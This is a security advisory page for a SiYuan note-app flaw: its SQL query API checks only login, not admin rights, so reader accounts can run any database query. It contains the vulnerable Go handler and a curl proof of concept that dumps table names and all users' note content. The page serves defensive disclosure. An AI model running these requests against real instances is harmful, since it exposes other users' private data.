5.7medium
SiYuan: Direct SQL Query API accessible to Reader-level users enables unauthorized database access
- Severity
- 5.7medium CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.38% (higher than 33% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-jqwg-75qf-vmf9GO-2026-4592
Description
SiYuan is a personal knowledge management system. Prior to version 3.6.0, the /api/query/sql lets a user run sql directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any sql query on the database. This issue has been patched in version 3.6.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| siyuan-note siyuan | < 3.6.0 | CVE List |
| github.com/siyuan-note/siyuan/kernel (Go) | up to 0.0.0-20260113130602-4ba64580c29c, all versions | GitHub Advisory Database, Go Vulnerability Database |
| b3log siyuan | up to 3.5.9 | NVD |
All scores
| GitHub_M | 5.7medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
| GitHub | medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P |
| NVD | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Classification
What each source says
CVE List
SiYuan is a personal knowledge management system. Prior to version 3.6.0, the /api/query/sql lets a user run sql directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any sql query on the database. This issue has been patched in version 3.6.0.
GitHub Advisory Database
Summary
/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.
Details
The vulnerable endpoint is in kernel/api/sql.go
func SQL(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok {
return
}
stmt := arg["stmt"].(string)
result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}
The route in kernel/api/router.go only uses CheckAuth middleware
e.g (similar)
ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)
PoC
Start SiYuan with the publish service turned on
# List out all tables in the database
curl -s -u reader_user:reader_pass \
-X POST "http://127.0.0.1:6808/api/query/sql" \
-H "Content-Type: application/json" \
-d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'
# Extract all user content from the database
curl -s -u reader_user:reader_pass \
-X POST "http://127.0.0.1:6808/api/query/sql" \
-H "Content-Type: application/json" \
-d '{"stmt": "SELECT id, content FROM blocks"}'
Impact
- High impact, reader users can query all data in the db including other users notes
- SQL api is mostly for select queries, but without validation, writes can still happen
- Malicious SQL can lead to serious performance issues
this is an auth bypass, the sql feature is for power users but even readers can use it
Go Vulnerability Database
SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access in github.com/siyuan-note/siyuan/kernel
NVD (es)
SiYuan es un sistema de gestión de conocimiento personal. Antes de la versión 3.6.0, la API /api/query/sql permite a un usuario ejecutar SQL directamente, pero solo verifica la autenticación básica, no los derechos de administrador; cualquier usuario autenticado, incluso los lectores, puede ejecutar cualquier consulta SQL en la base de datos. Este problema ha sido parcheado en la versión 3.6.0.
References
| https://github.com/siyuan-note/siyuan/security/advisories/GHSA-jqwg-75qf-vmf9 | advisory, exploit, vendor-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-29073 | advisory | |
| https://github.com/siyuan-note/siyuan | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-29073 changed 2026-03-09 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-jqwg-75qf-vmf9 changed 2026-03-23 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-4592 changed 2026-03-23 | CC-BY-4.0 |
| NVD | CVE-2026-29073 changed 2026-06-17 | Public domain |